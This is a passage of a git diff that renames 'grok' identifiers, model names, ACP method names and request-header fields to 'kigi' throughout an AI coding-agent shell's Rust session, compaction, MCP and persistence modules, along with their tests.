     /// public contract — verifier file paths embed it verbatim, and
     /// drift here would silently invalidate the documented
-    /// `grok-goal-<12 hex chars>` scratch-root format (and the
+    /// `kigi-goal-<12 hex chars>` scratch-root format (and the
     /// 12-hex restore validation in `from_snapshot`).
     #[test]
     fn generate_verifier_id_is_short_hex_and_unique() {
@@ -2539,7 +2539,7 @@ mod tests {
         activate_tracker(&mut t);
         t.update_live_progress(
             100,
-            vec![("grok-4".to_owned(), 60), ("grok-3".to_owned(), 40)],
+            vec![("kigi-4".to_owned(), 60), ("kigi-3".to_owned(), 40)],
             200_000,
             50,
             3,
@@ -3081,11 +3081,11 @@ mod tests {
         let mut o = make_base_orchestration();
         o.skeptic_model_assignment = vec![
             crate::util::config::GoalRoleModel {
-                model: "grok-4".to_string(),
+                model: "kigi-4".to_string(),
                 agent_type: "general-purpose".to_string(),
             },
             crate::util::config::GoalRoleModel {
-                model: "grok-4.5".to_string(),
+                model: "kigi-4.5".to_string(),
                 agent_type: "cursor".to_string(),
             },
         ];
@@ -3132,7 +3132,7 @@ mod tests {
             activate_tracker(&mut t);
             t.snapshot_mut().unwrap().skeptic_model_assignment =
                 vec![crate::util::config::GoalRoleModel {
-                    model: "grok-4".to_string(),
+                    model: "kigi-4".to_string(),
                     agent_type: "general-purpose".to_string(),
                 }];
             let applied = match ending {
@@ -3170,22 +3170,22 @@ mod tests {
     }
 
     /// The scratch path helpers derive the pinned layout from
-    /// `temp_dir()` + `verifier_id`: a `grok-goal-<vid>` root with an
+    /// `temp_dir()` + `verifier_id`: a `kigi-goal-<vid>` root with an
     /// `implementer/` subdir and per-index `skeptic-<idx>/` subdirs.
     #[test]
     fn scratch_path_helpers_derive_pinned_layout() {
         let root = goal_scratch_root("vid123");
-        assert_eq!(root, std::env::temp_dir().join("grok-goal-vid123"));
+        assert_eq!(root, std::env::temp_dir().join("kigi-goal-vid123"));
         assert_eq!(
             implementer_scratch_dir("vid123"),
             std::env::temp_dir()
-                .join("grok-goal-vid123")
+                .join("kigi-goal-vid123")
                 .join("implementer"),
         );
         assert_eq!(
             skeptic_scratch_dir("vid123", 2),
             std::env::temp_dir()
-                .join("grok-goal-vid123")
+                .join("kigi-goal-vid123")
                 .join("skeptic-2"),
         );
     }
diff --git a/crates/codegen/kigi-shell/src/session/handle.rs b/crates/codegen/kigi-shell/src/session/handle.rs
index 72d09b1..a243310 100644
--- a/crates/codegen/kigi-shell/src/session/handle.rs
+++ b/crates/codegen/kigi-shell/src/session/handle.rs
@@ -12,7 +12,7 @@ use std::collections::{HashMap, HashSet};
 use tokio::sync::{mpsc, oneshot};
 /// Coarse lifecycle state of a session as known to the leader/agent.
 ///
-/// A grok session has no
+/// A kigi session has no
 /// terminal status field on its own — it is a resumable log on disk — so
 /// "liveness" is *residency + turn-state*, not a pid. The agent's join-handle
 /// supervisor tracks this per session so a panicked actor can be reaped
@@ -103,7 +103,7 @@ pub struct SessionHandle {
     /// client behaviors like yolo broadcasts.
     pub origin_client: Option<crate::http::OriginClientInfo>,
     /// Whether the client that created this session advertised
-    /// `x.ai/codeNavigation.enabled`.  Stored per-session so that in leader
+    /// `kigi/codeNavigation.enabled`.  Stored per-session so that in leader
     /// mode a later `initialize()` from a different client cannot retroactively
     /// change code-nav eligibility for already-running sessions.
     pub code_nav_enabled: bool,
@@ -112,13 +112,13 @@ pub struct SessionHandle {
     /// env gate). Stored per-session so subagents inherit it at spawn.
     pub ask_user_question_enabled: bool,
     /// Plan mode tracker — shared with the session actor via Arc.
-    /// Exposed so the `x.ai/toggle_plan_mode` handler can toggle plan mode
+    /// Exposed so the `kigi/toggle_plan_mode` handler can toggle plan mode
     /// without going through the session command channel.
     pub plan_mode: std::sync::Arc<parking_lot::Mutex<crate::session::plan_mode::PlanModeTracker>>,
     /// Debug flag: when set to `true`, the next turn unconditionally triggers
     /// auto-compaction regardless of context window usage. Consumed (reset to
     /// `false`) atomically on use via `compare_exchange`.
-    /// Set via `x.ai/debug/arm_auto_compact`.
+    /// Set via `kigi/debug/arm_auto_compact`.
     pub force_compact: std::sync::Arc<std::sync::atomic::AtomicBool>,
     pub permission_handle: kigi_workspace::permission::PermissionHandle,
     /// The parent SessionActor's live `Auth401AttributionCallback`
@@ -147,7 +147,7 @@ pub struct SessionHandle {
     /// Scheduler handle for this session. Subagents inherit the parent's
     /// handle so scheduled tasks survive the subagent's exit.
     pub scheduler_handle:
-        Option<kigi_tools::implementations::grok_build::scheduler::types::SchedulerHandle>,
+        Option<kigi_tools::implementations::kigi::scheduler::types::SchedulerHandle>,
 }
 impl SessionHandle {
     /// Last assistant `model_id` / `model_fingerprint` in conversation (global, not turn-scoped).
diff --git a/crates/codegen/kigi-shell/src/session/helpers/compaction_context.rs b/crates/codegen/kigi-shell/src/session/helpers/compaction_context.rs
index 7ae96d6..63024e6 100644
--- a/crates/codegen/kigi-shell/src/session/helpers/compaction_context.rs
+++ b/crates/codegen/kigi-shell/src/session/helpers/compaction_context.rs
@@ -7,7 +7,7 @@
 //!
 //! The three **common** active-agent sections (background tasks, TODO list,
 //! running subagents) are formatted by
-//! [`kigi_compaction::reminder`] so grok-chat and grok-build stay in lockstep.
+//! [`kigi_compaction::reminder`] so kigi-chat and kigi stay in lockstep.
 //! Harness-only sections (edited files, AGENTS.md, skills, MCP, memory) stay here.
 
 use std::path::PathBuf;
diff --git a/crates/codegen/kigi-shell/src/session/helpers/full_replace_compaction.rs b/crates/codegen/kigi-shell/src/session/helpers/full_replace_compaction.rs
index b1750b9..2874735 100644
--- a/crates/codegen/kigi-shell/src/session/helpers/full_replace_compaction.rs
+++ b/crates/codegen/kigi-shell/src/session/helpers/full_replace_compaction.rs
@@ -1,9 +1,9 @@
-//! grok-build's L5 wiring onto the shared full-replace engine
+//! kigi's L5 wiring onto the shared full-replace engine
 //! (`kigi_compaction::code_compaction`).
 //!
 //! The shared engine drives the sample → retry → degenerate/failure
 //! classification loop via [`sample_full_replace_summary`](kigi_compaction::sample_full_replace_summary);
-//! this module adapts grok-build's transport and telemetry to its two seams:
+//! this module adapts kigi's transport and telemetry to its two seams:
 //!
 //! - [`ShellCompactionSampler`] wraps
 //!   [`generate_session_compact`](crate::session::helpers::session_compact::generate_session_compact)
@@ -42,7 +42,7 @@ use crate::session::helpers::session_compact::{
 };
 
 /// Wraps `generate_session_compact` as the shared engine's
-/// [`CompactionSampler`] for grok-build's full-replace pass.
+/// [`CompactionSampler`] for kigi's full-replace pass.
 ///
 /// Holds the per-call request context the seam does not carry (tools, client,
 /// session, config) and stashes the last successful [`CompactOutput`] so the
@@ -51,8 +51,8 @@ use crate::session::helpers::session_compact::{
 ///
 /// The summarization prompt is selected here by `use_short_prompt` (the
 /// short-prompt harness uses the short self-summarization prompt; everyone
-/// else the structured grok-build prompt), so the shared `CompactionPrompt`
-/// the engine passes is ignored — the engine builds the grok-build prompt,
+/// else the structured kigi prompt), so the shared `CompactionPrompt`
+/// the engine passes is ignored — the engine builds the kigi prompt,
 /// which equals what `build_compaction_chat_history(.., false)` appends, and
 /// the short-prompt harness needs its own variant the engine can't produce.
 pub(crate) struct ShellCompactionSampler {
@@ -118,7 +118,7 @@ impl CompactionSampler for ShellCompactionSampler {
         _timeout: Duration,
     ) -> Result<LlmCompactionOutput, CompactionSampleError> {
         // Append the harness-selected summarization prompt as the final user
-        // message (compat short vs structured grok-build), ignoring the shared
+        // message (compat short vs structured kigi), ignoring the shared
         // engine's `_prompt` (see the struct doc).
         let chat_history = build_compaction_chat_history(
             turns.to_vec(),
@@ -151,7 +151,7 @@ impl CompactionSampler for ShellCompactionSampler {
     }
 }
 
-/// Map grok-build's [`CompactFailure`] onto the shared engine's
+/// Map kigi's [`CompactFailure`] onto the shared engine's
 /// [`CompactionSampleError`] so the shared retry loop classifies it the same
 /// way the in-shell loop did:
 ///
@@ -207,7 +207,7 @@ struct ObserverState {
     last_error_msg: Option<String>,
 }
 
-/// [`FullReplaceObserver`] that reproduces grok-build's per-attempt telemetry:
+/// [`FullReplaceObserver`] that reproduces kigi's per-attempt telemetry:
 /// `CompactionAttempt` rows, rejection counters, the `CompactionRetryDegraded`
 /// event, and the warn/error tracing — without the shared engine depending on
 /// a telemetry backend.
diff --git a/crates/codegen/kigi-shell/src/session/helpers/prompt_suggest.rs b/crates/codegen/kigi-shell/src/session/helpers/prompt_suggest.rs
index e855097..798c99c 100644
--- a/crates/codegen/kigi-shell/src/session/helpers/prompt_suggest.rs
+++ b/crates/codegen/kigi-shell/src/session/helpers/prompt_suggest.rs
@@ -328,7 +328,7 @@ mod tests {
                 .as_deref(),
             Some(default_suggest_model())
         );
-        // OAuth catalogs exclude grok-build-0.1 → skip the request entirely,
+        // OAuth catalogs exclude kigi-0.1 → skip the request entirely,
         // never a doomed call (and never the session model).
         assert_eq!(
             effective_suggest_model(&Pin::Unpinned, None, |_| false),
diff --git a/crates/codegen/kigi-shell/src/session/helpers/replay.rs b/crates/codegen/kigi-shell/src/session/helpers/replay.rs
index e3c1fe1..7f73862 100644
--- a/crates/codegen/kigi-shell/src/session/helpers/replay.rs
+++ b/crates/codegen/kigi-shell/src/session/helpers/replay.rs
@@ -61,7 +61,10 @@ pub fn find_latest_compaction_checkpoint(
             continue;
         };
 
-        if env.method != Some("_x.ai/session/update") {
+        if !env
+            .method
+            .is_some_and(crate::session::storage::is_ext_session_update_method)
+        {
             continue;
         }
 
diff --git a/crates/codegen/kigi-shell/src/session/helpers/session_compact.rs b/crates/codegen/kigi-shell/src/session/helpers/session_compact.rs
index 56db105..eddb4f9 100644
--- a/crates/codegen/kigi-shell/src/session/helpers/session_compact.rs
+++ b/crates/codegen/kigi-shell/src/session/helpers/session_compact.rs
@@ -20,7 +20,7 @@ use reqwest::StatusCode;
 /// `<summary_request>` only -- the surrounding `<user_query>` is implicit
 /// because we push this as a `ConversationItem::user`.
 ///
-/// All other agents (grok-build, etc.) continue to use the detailed
+/// All other agents (kigi, etc.) continue to use the detailed
 /// structured prompt built inline in `generate_session_compact`.
 pub(crate) const SELF_SUMMARIZATION_PROMPT: &str = r#"<summary_request>
 Please summarize the conversation so far. This summary (everything after your
@@ -376,10 +376,10 @@ pub(crate) async fn generate_session_compact(
                     .with_tool_choice(ToolChoice::none());
             }
             let sid = session_id.to_string();
-            message.x_grok_conv_id = Some(sid.clone());
-            message.x_grok_req_id = Some(format!("xai-compact-{}", uuid::Uuid::new_v4()));
-            message.x_grok_session_id = Some(sid);
-            message.x_grok_agent_id = Some(crate::util::agent_id::agent_id());
+            message.x_kigi_conv_id = Some(sid.clone());
+            message.x_kigi_req_id = Some(format!("xai-compact-{}", uuid::Uuid::new_v4()));
+            message.x_kigi_session_id = Some(sid);
+            message.x_kigi_agent_id = Some(crate::util::agent_id::agent_id());
             tracing::info!(
                 compact_model = % sampling_config.model, num_messages = num_messages,
                 "Sending compact request (streaming)"
@@ -471,10 +471,10 @@ pub(crate) async fn generate_session_compact(
                 hosted_tools,
                 model: Some(sampling_config.model.to_owned()),
                 temperature: Some(1.0),
-                x_grok_conv_id: Some(session_id.to_string()),
-                x_grok_req_id: Some(format!("xai-compact-{}", uuid::Uuid::new_v4())),
-                x_grok_session_id: Some(session_id.to_string()),
-                x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+                x_kigi_conv_id: Some(session_id.to_string()),
+                x_kigi_req_id: Some(format!("xai-compact-{}", uuid::Uuid::new_v4())),
+                x_kigi_session_id: Some(session_id.to_string()),
+                x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
                 ..Default::default()
             };
             let stream_result = client.conversation_stream_responses(request).await;
@@ -593,10 +593,10 @@ pub(crate) async fn generate_session_compact(
                 hosted_tools,
                 model: Some(sampling_config.model.to_owned()),
                 temperature: Some(1.0),
-                x_grok_conv_id: Some(session_id.to_string()),
-                x_grok_req_id: Some(format!("xai-compact-{}", uuid::Uuid::new_v4())),
-                x_grok_session_id: Some(session_id.to_string()),
-                x_grok_agent_id: Some(crate::util::agent_id::agent_id()),
+                x_kigi_conv_id: Some(session_id.to_string()),
+                x_kigi_req_id: Some(format!("xai-compact-{}", uuid::Uuid::new_v4())),
+                x_kigi_session_id: Some(session_id.to_string()),
+                x_kigi_agent_id: Some(crate::util::agent_id::agent_id()),
                 ..Default::default()
             };
             let stream_result = client.conversation_stream_messages(request).await;
@@ -1127,13 +1127,13 @@ mod compacted_history_shape_tests {
         );
         assert_eq!(compacted.len(), 5);
     }
-    /// Regression guard: grok-build must DROP the working
-    /// tail post-compaction. A prior change routed grok-build to keep `recent_messages`,
+    /// Regression guard: kigi must DROP the working
+    /// tail post-compaction. A prior change routed kigi to keep `recent_messages`,
     /// which survive only as `Tool call omitted...` stubs (dead tokens). Mirrors
-    /// `summary_before_recent_compaction_with_no_user_query_yields_three_messages` for grok-build
+    /// `summary_before_recent_compaction_with_no_user_query_yields_three_messages` for kigi
     /// (`summary_before_recent = false`).
     #[tokio::test]
-    async fn grok_build_compaction_drops_working_tail_regression_206460() {
+    async fn kigi_compaction_drops_working_tail_regression_206460() {
         let conversation = vec![
             ConversationItem::system("You are a helpful assistant."),
             ConversationItem::user(
@@ -1163,7 +1163,7 @@ mod compacted_history_shape_tests {
         let dropped = full.for_compaction();
         assert!(
             dropped.recent_messages.is_empty(),
-            "grok-build must drop recent_messages post-compaction",
+            "kigi must drop recent_messages post-compaction",
         );
         let compacted = build_compacted_history(
             "You are a helpful assistant.",
@@ -1177,7 +1177,7 @@ mod compacted_history_shape_tests {
                 .iter()
                 .any(|i| matches!(i, ConversationItem::ToolResult(_))
                     || i.text_content() == "Tool call omitted..."),
-            "no tail (ToolResult or stub) may leak into the grok-build compacted history",
+            "no tail (ToolResult or stub) may leak into the kigi compacted history",
         );
     }
     /// Verify that the auto-continue prompt (sent after compaction) is also
diff --git a/crates/codegen/kigi-shell/src/session/helpers/session_recap.rs b/crates/codegen/kigi-shell/src/session/helpers/session_recap.rs
index 6d7249a..10eb5d6 100644
--- a/crates/codegen/kigi-shell/src/session/helpers/session_recap.rs
+++ b/crates/codegen/kigi-shell/src/session/helpers/session_recap.rs
@@ -62,7 +62,7 @@ pub(crate) fn recap_instruction(tag: &str) -> String {
 /// 1. Optionally strips reasoning/thinking blocks (`strip_reasoning`). This is
 ///    only needed on the Anthropic Messages backend, which rejects thinking
 ///    blocks sent without a top-level `thinking` config. Every other backend
-///    (grok/SGLang via ChatCompletions/Responses) keeps reasoning VERBATIM so
+///    (kigi/SGLang via ChatCompletions/Responses) keeps reasoning VERBATIM so
 ///    the conversation prefix is byte-identical to the last turn and the
 ///    provider's prefix KV cache stays warm — which is the whole reason we
 ///    append the instruction after the prefix. Mirrors compaction's
@@ -89,7 +89,7 @@ pub(crate) fn build_recap_items(
 }
 
 /// Cap on the effective context window for recap budgeting: the verified
-/// `max_prompt_length` for current `grok-build` / `grok-4.5` product backends
+/// `max_prompt_length` for current `kigi` / `kigi-4.5` product backends
 /// (`500000`). Applied via `min(window, CAP)`, so a smaller real window still
 /// wins (e.g. a 256k legacy model or a debug override).
 const RECAP_CONTEXT_WINDOW_CAP: u64 = 500_000;
@@ -110,10 +110,10 @@ const RECAP_BUDGET_HEADROOM_TOKENS: u64 = 4_000;
 /// `ic_400_prompt_too_long` on long sessions. Not an absolute guarantee — a
 /// degenerate tiny window, an oversized retained `System` prefix, or estimator
 /// optimism can still exceed the real limit (the 85% + headroom + 500k cap make
-/// that unlikely for normal grok-build sessions).
+/// that unlikely for normal kigi sessions).
 ///
 /// * Fast path — if the whole snapshot already fits, returns
-///   `build_recap_items(...)` verbatim (keeps the grok prefix KV cache warm;
+///   `build_recap_items(...)` verbatim (keeps the kigi prefix KV cache warm;
 ///   honors the caller's `strip_reasoning`).
 /// * Over budget — strip reasoning (the prefix cache is lost once we trim),
 ///   normalize the trailing boundary ([`pop_trailing_tool_run`]),
@@ -136,7 +136,7 @@ pub(crate) fn budget_recap_items(
     let snapshot_budget = prompt_budget.saturating_sub(estimate_item_tokens(&instruction));
 
     // Un-stripped estimate is a safe upper bound (stripping only shrinks); the
-    // verbatim path keeps the grok prefix cache warm.
+    // verbatim path keeps the kigi prefix cache warm.
     let pre_tokens = estimate_conversation_tokens(&conversation);
     if pre_tokens <= snapshot_budget {
         return build_recap_items(conversation, tag, strip_reasoning);
@@ -690,13 +690,13 @@ mod tests {
     }
 
     #[test]
-    fn budget_over_budget_strips_reasoning_even_on_grok() {
+    fn budget_over_budget_strips_reasoning_even_on_kigi() {
         let conv = vec![
             mk_reasoning("r1"),
             ConversationItem::assistant("did stuff"),
             ConversationItem::user("z".repeat(40_000)),
         ];
-        // grok backend => strip_reasoning=false, but the over-budget branch must
+        // kigi backend => strip_reasoning=false, but the over-budget branch must
         // strip reasoning anyway (the prefix cache is already lost once trimmed).
         let out = budget_recap_items(conv, "system-reminder", false, 8_000);
         assert!(
@@ -707,19 +707,19 @@ mod tests {
     }
 
     #[test]
-    fn budget_fast_path_keeps_reasoning_on_grok() {
+    fn budget_fast_path_keeps_reasoning_on_kigi() {
         let conv = vec![
             mk_reasoning("r1"),
             ConversationItem::assistant("did stuff"),
             ConversationItem::user("small"),
         ];
-        // Fits under a large window on grok (strip_reasoning=false) => verbatim,
+        // Fits under a large window on kigi (strip_reasoning=false) => verbatim,
         // reasoning kept so the prefix KV cache stays warm.
         let out = budget_recap_items(conv, "system-reminder", false, 256_000);
         assert!(
             out.iter()
                 .any(|i| matches!(i, ConversationItem::Reasoning(_))),
-            "fits path on grok must keep reasoning verbatim"
+            "fits path on kigi must keep reasoning verbatim"
         );
     }
 
diff --git a/crates/codegen/kigi-shell/src/session/image_describe.rs b/crates/codegen/kigi-shell/src/session/image_describe.rs
index b2d443a..38bd526 100644
--- a/crates/codegen/kigi-shell/src/session/image_describe.rs
+++ b/crates/codegen/kigi-shell/src/session/image_describe.rs
@@ -2,7 +2,7 @@
 //!
 //! That harness uses a separate vision endpoint to describe images
 //! rather than passing them inline. When a user message contains image
-//! content blocks, the session calls a vision-capable Grok model
+//! content blocks, the session calls a vision-capable Kigi model
 //! (defaults to the agent's current model unless explicitly overridden)
 //! to produce text descriptions that are injected into the turn. Per-image
 //! requests are deduplicated via [`ImageDescribeCache`] (same bytes +
diff --git a/crates/codegen/kigi-shell/src/session/image_normalize.rs b/crates/codegen/kigi-shell/src/session/image_normalize.rs
index 71c4d16..5ba0cfb 100644
--- a/crates/codegen/kigi-shell/src/session/image_normalize.rs
+++ b/crates/codegen/kigi-shell/src/session/image_normalize.rs
@@ -912,11 +912,11 @@ mod tests {
     #[test]
     fn re_encode_fallback_notice_picks_tag_per_harness() {
         let notes = vec!["Image 1 could not be re-encoded under the cap.".to_string()];
-        let grok = render_re_encode_fallback_notice(&notes, false);
-        assert!(grok.contains("<system-reminder>"));
-        assert!(grok.contains("</system-reminder>"));
-        assert!(!grok.contains("<system_reminder>"));
-        assert!(grok.contains("<image_re_encode_fallback>"));
+        let kigi = render_re_encode_fallback_notice(&notes, false);
+        assert!(kigi.contains("<system-reminder>"));
+        assert!(kigi.contains("</system-reminder>"));
+        assert!(!kigi.contains("<system_reminder>"));
+        assert!(kigi.contains("<image_re_encode_fallback>"));
     }
     #[test]
     fn display_format() {
@@ -1316,12 +1316,12 @@ mod tests {
     #[test]
     fn image_dropped_notice_picks_tag_per_harness() {
         let notes = vec!["Image 5 was dropped before send: corrupt".to_string()];
-        let grok = render_image_dropped_notice(&notes, false);
-        assert!(grok.contains("<system-reminder>"));
-        assert!(grok.contains("</system-reminder>"));
-        assert!(!grok.contains("<system_reminder>"));
-        assert!(grok.contains("<image_dropped_notice>"));
-        assert!(grok.contains("Image 5"));
+        let kigi = render_image_dropped_notice(&notes, false);
+        assert!(kigi.contains("<system-reminder>"));
+        assert!(kigi.contains("</system-reminder>"));
+        assert!(!kigi.contains("<system_reminder>"));
+        assert!(kigi.contains("<image_dropped_notice>"));
+        assert!(kigi.contains("Image 5"));
         assert_eq!(render_image_dropped_notice(&[], false), "");
     }
     /// Large flat-color images compress better as PNG than JPEG; the
diff --git a/crates/codegen/kigi-shell/src/session/managed_mcp.rs b/crates/codegen/kigi-shell/src/session/managed_mcp.rs
index 4b769aa..67d3c3f 100644
--- a/crates/codegen/kigi-shell/src/session/managed_mcp.rs
+++ b/crates/codegen/kigi-shell/src/session/managed_mcp.rs
@@ -506,7 +506,7 @@ mod tests {
         let tagged = apply_mcp_server_policy(
             vec![
                 acp::McpServer::Http(
-                    acp::McpServerHttp::new("grok_com_slack", "https://mcp.slack.com/sse")
+                    acp::McpServerHttp::new("kigi_com_slack", "https://mcp.slack.com/sse")
                         .headers(vec![]),
                 ),
                 // Substring-only match must not be denied.
@@ -521,7 +521,7 @@ mod tests {
 
         let slack = tagged
             .iter()
-            .find(|s| mcp_server_name(&s.server) == "grok_com_slack")
+            .find(|s| mcp_server_name(&s.server) == "kigi_com_slack")
             .expect("managed server present in policy output");
         assert!(
             matches!(
@@ -762,7 +762,7 @@ enabled = false
             root: plugin_root.clone(),
             canonical_root: plugin_root.clone(),
             scope: PluginScope::User,
-            origin: kigi_agent::plugins::PluginOrigin::UserGrok,
+            origin: kigi_agent::plugins::PluginOrigin::UserKigi,
             trusted: true,
             skill_dirs: vec![],
             command_dirs: vec![],
@@ -830,7 +830,7 @@ enabled = false
             root: plugin_root.clone(),
             canonical_root: plugin_root.clone(),
             scope: PluginScope::User,
-            origin: kigi_agent::plugins::PluginOrigin::UserGrok,
+            origin: kigi_agent::plugins::PluginOrigin::UserKigi,
             trusted: true,
             skill_dirs: vec![],
             command_dirs: vec![],
@@ -904,7 +904,7 @@ enabled = false
             root: plugin_root.clone(),
             canonical_root: plugin_root.clone(),
             scope: PluginScope::User,
-            origin: kigi_agent::plugins::PluginOrigin::UserGrok,
+            origin: kigi_agent::plugins::PluginOrigin::UserKigi,
             trusted: true,
             skill_dirs: vec![],
             command_dirs: vec![],
diff --git a/crates/codegen/kigi-shell/src/session/mcp_dispatcher.rs b/crates/codegen/kigi-shell/src/session/mcp_dispatcher.rs
index f7ef3a2..080c0bd 100644
--- a/crates/codegen/kigi-shell/src/session/mcp_dispatcher.rs
+++ b/crates/codegen/kigi-shell/src/session/mcp_dispatcher.rs
@@ -3,7 +3,7 @@
 //! Receives [`kigi_mcp::servers::McpClientEvent`]s emitted by:
 //! - per-client transport-liveness watchers
 //!   ([`kigi_mcp::liveness`]),
-//! - the [`kigi_mcp::servers::GrokClientHandler`] (server-pushed
+//! - the [`kigi_mcp::servers::KigiClientHandler`] (server-pushed
 //!   `tools/list_changed` and `resources/list_changed`),
 //! - the `ensure_initialized` success/failure path,
 //! - the session/managed-config diff path.
@@ -16,7 +16,7 @@
 //!
 //! Each surviving entry is emitted as an ACP
 //! [`agent_client_protocol::ExtNotification`] with method
-//! `x.ai/mcp/server_status` and the payload schema defined by
+//! `kigi/mcp/server_status` and the payload schema defined by
 //! [`McpServerStatusPayload`].
 //!
 //! ## Doc-comment ↔ implementation contract
@@ -55,7 +55,7 @@ use crate::extensions::mcp::McpServerSource;
 pub const COALESCE_WINDOW: Duration = Duration::from_millis(50);
 
 /// Method name for the ACP push.
-pub const SERVER_STATUS_METHOD: &str = "x.ai/mcp/server_status";
+pub const SERVER_STATUS_METHOD: &str = "kigi/mcp/server_status";
 
 /// JSON payload pushed over ACP. Fields written in camelCase per ACP
 /// convention.
@@ -438,7 +438,7 @@ pub fn build_payload(
 /// Per-flush side effects:
 /// - update `shutting_down` for `TransportClosed` /
 ///   `ConfigRemoved` keys,
-/// - emit one ACP `x.ai/mcp/server_status` push per surviving
+/// - emit one ACP `kigi/mcp/server_status` push per surviving
 ///   buffer entry, via the provided gateway.
 ///
 /// `gateway` is a [`kigi_acp_lib::AcpAgentGatewaySender`] (forwarded
@@ -638,7 +638,7 @@ pub async fn drop_dead_clients(
 ///    gated on client identity (see [`collect_close_candidates`]).
 ///    Stale `TransportClosed` keys are stripped from the window so they
 ///    push no status, emit no disconnect span, and schedule no restart.
-/// 3. `flush_window` — emit ACP `x.ai/mcp/server_status` per
+/// 3. `flush_window` — emit ACP `kigi/mcp/server_status` per
 ///    surviving entry.
 /// 4. `maybe_schedule_restart` — for every
 ///    `TransportClosed` / `HandshakeFailed` key, the
diff --git a/crates/codegen/kigi-shell/src/session/mcp_restart.rs b/crates/codegen/kigi-shell/src/session/mcp_restart.rs
index 0bc0329..6ac8e68 100644
--- a/crates/codegen/kigi-shell/src/session/mcp_restart.rs
+++ b/crates/codegen/kigi-shell/src/session/mcp_restart.rs
@@ -213,7 +213,7 @@ pub trait RestartActions {
     ///    bubbles up.
     async fn respawn_stdio(&self, server: &str) -> Result<(), String>;
 
-    /// Push an already-built `x.ai/mcp/server_status` payload to the
+    /// Push an already-built `kigi/mcp/server_status` payload to the
     /// pager. The production impl wraps the dispatcher's gateway
     /// sender via [`forward_status`].
     fn push_status(&self, payload: &McpServerStatusPayload);
@@ -617,7 +617,7 @@ fn push(
 }
 
 /// Serialize a [`McpServerStatusPayload`] and send it to the gateway as an
-/// ACP `x.ai/mcp/server_status` notification. Failures are logged and
+/// ACP `kigi/mcp/server_status` notification. Failures are logged and
 /// dropped — restart-task pushes must not block the session actor.
 ///
 /// Public so production impls and tests can wrap a gateway sender
@@ -1506,7 +1506,7 @@ mod tests {
     fn forward_status_uses_dispatcher_method() {
         assert_eq!(
             crate::session::mcp_dispatcher::SERVER_STATUS_METHOD,
-            "x.ai/mcp/server_status",
+            "kigi/mcp/server_status",
             "wire method name pinned",
         );
         // The `forward_status` function uses
diff --git a/crates/codegen/kigi-shell/src/session/merge.rs b/crates/codegen/kigi-shell/src/session/merge.rs
index aca2dc1..32a8a62 100644
--- a/crates/codegen/kigi-shell/src/session/merge.rs
+++ b/crates/codegen/kigi-shell/src/session/merge.rs
@@ -1,6 +1,6 @@
 //! Merged session listing — combines local and remote session data.
 //!
-//! Used by both the ACP `x.ai/session/list` handler and the `grok sessions`
+//! Used by both the ACP `kigi/session/list` handler and the `kigi sessions`
 //! CLI command. Deduplicates by session ID (remote wins), filters local
 //! results by query, and sorts by the same key the picker UI displays
 //! (`last_active_at` falling back to `updated_at`) descending.
diff --git a/crates/codegen/kigi-shell/src/session/pending_interaction.rs b/crates/codegen/kigi-shell/src/session/pending_interaction.rs
index 85010ca..0dab5ab 100644
--- a/crates/codegen/kigi-shell/src/session/pending_interaction.rs
+++ b/crates/codegen/kigi-shell/src/session/pending_interaction.rs
@@ -36,15 +36,15 @@ pub type PendingInteractions = Arc<Mutex<HashMap<String, PendingKind>>>;
 pub enum PendingKind {
     /// `request_permission` for a tool action.
     Permission,
-    /// `x.ai/ask_user_question`.
+    /// `kigi/ask_user_question`.
     Question,
-    /// `x.ai/exit_plan_mode` plan approval.
+    /// `kigi/exit_plan_mode` plan approval.
     PlanApproval,
 }
 
 /// Whether a blocking plan-approval reverse-request is parked in `pending`.
 ///
-/// The resume re-park issues `x.ai/exit_plan_mode` from a detached task
+/// The resume re-park issues `kigi/exit_plan_mode` from a detached task
 /// with no running turn, making it the one parked interaction that also carries a
 /// persisted gate (`awaiting_plan_approval`). `session_has_live_work` consults
 /// this to keep such a session resident until the decision is answered or a real
@@ -70,7 +70,7 @@ fn broadcast(gateway: &GatewaySender, session_id: &acp::SessionId, update: XaiSe
     };
     if let Ok(params) = serde_json::value::to_raw_value(&notification) {
         gateway.forward_fire_and_forget(acp::ExtNotification::new(
-            "x.ai/session_notification",
+            "kigi/session_notification",
             params.into(),
         ));
     }
diff --git a/crates/codegen/kigi-shell/src/session/persistence.rs b/crates/codegen/kigi-shell/src/session/persistence.rs
index b2209e4..4fa30c4 100644
--- a/crates/codegen/kigi-shell/src/session/persistence.rs
+++ b/crates/codegen/kigi-shell/src/session/persistence.rs
@@ -136,8 +136,8 @@ mod feedback_tests {
                 Some("could be better".into())
             },
             feedback_categories: vec![],
-            model_id: Some("grok-3-fast".into()),
-            resolved_model_id: Some("grok-4.5".into()),
+            model_id: Some("kigi-3-fast".into()),
+            resolved_model_id: Some("kigi-4.5".into()),
             model_fingerprint: None,
             context_type: None,
             request_id: None,
@@ -299,7 +299,7 @@ pub enum PersistenceMsg {
     ReplaceChatHistory(Vec<ConversationItem>),
     CurrentModel {
         model_id: acp::ModelId,
-        /// The active agent definition name (e.g. `"grok-build"`).
+        /// The active agent definition name (e.g. `"kigi"`).
         /// Persisted in `summary.agent_name` so session resume doesn't depend
         /// on the mutable model catalog.
         agent_name: Option<String>,
@@ -411,7 +411,7 @@ fn session_exists_for_cwd_in_root(session_id: &str, cwd: &str, sessions_root: &P
 ///
 /// When a remote session is restored, a new local child is created with
 /// `summary.parent_session_id == remote_session_id`.  On a second
-/// `grok -r <remote_id>` in the same cwd, this function returns the already-restored
+/// `kigi -r <remote_id>` in the same cwd, this function returns the already-restored
 /// child so no duplicate restore is performed.
 ///
 /// If multiple children match (e.g., from pre-fix duplicate restores), the
@@ -521,7 +521,7 @@ fn find_local_child_for_remote_in_root(
     }
 
     // Collect all matching children.  Multiple can exist when a user ran
-    // `grok -r <remote_id>` before this fix was deployed.
+    // `kigi -r <remote_id>` before this fix was deployed.
     // Tuple: (updated_at, dir_mtime_nanos, session_id) — all sorted descending.
     let mut candidates: Vec<(String, u128, String)> = Vec::new();
 
@@ -632,7 +632,7 @@ pub fn session_exists_by_id(session_id: &str) -> bool {
 }
 
 /// Inner implementation of `session_exists_by_id` that accepts a custom root.
-/// Separated so tests can use a tempdir without touching the real grok home.
+/// Separated so tests can use a tempdir without touching the real kigi home.
 fn session_exists_in_root(session_id: &str, sessions_root: &Path) -> bool {
     if !sessions_root.exists() {
         return false;
@@ -1908,7 +1908,7 @@ pub(crate) fn io_error_to_acp(e: &io::Error) -> acp::Error {
 }
 
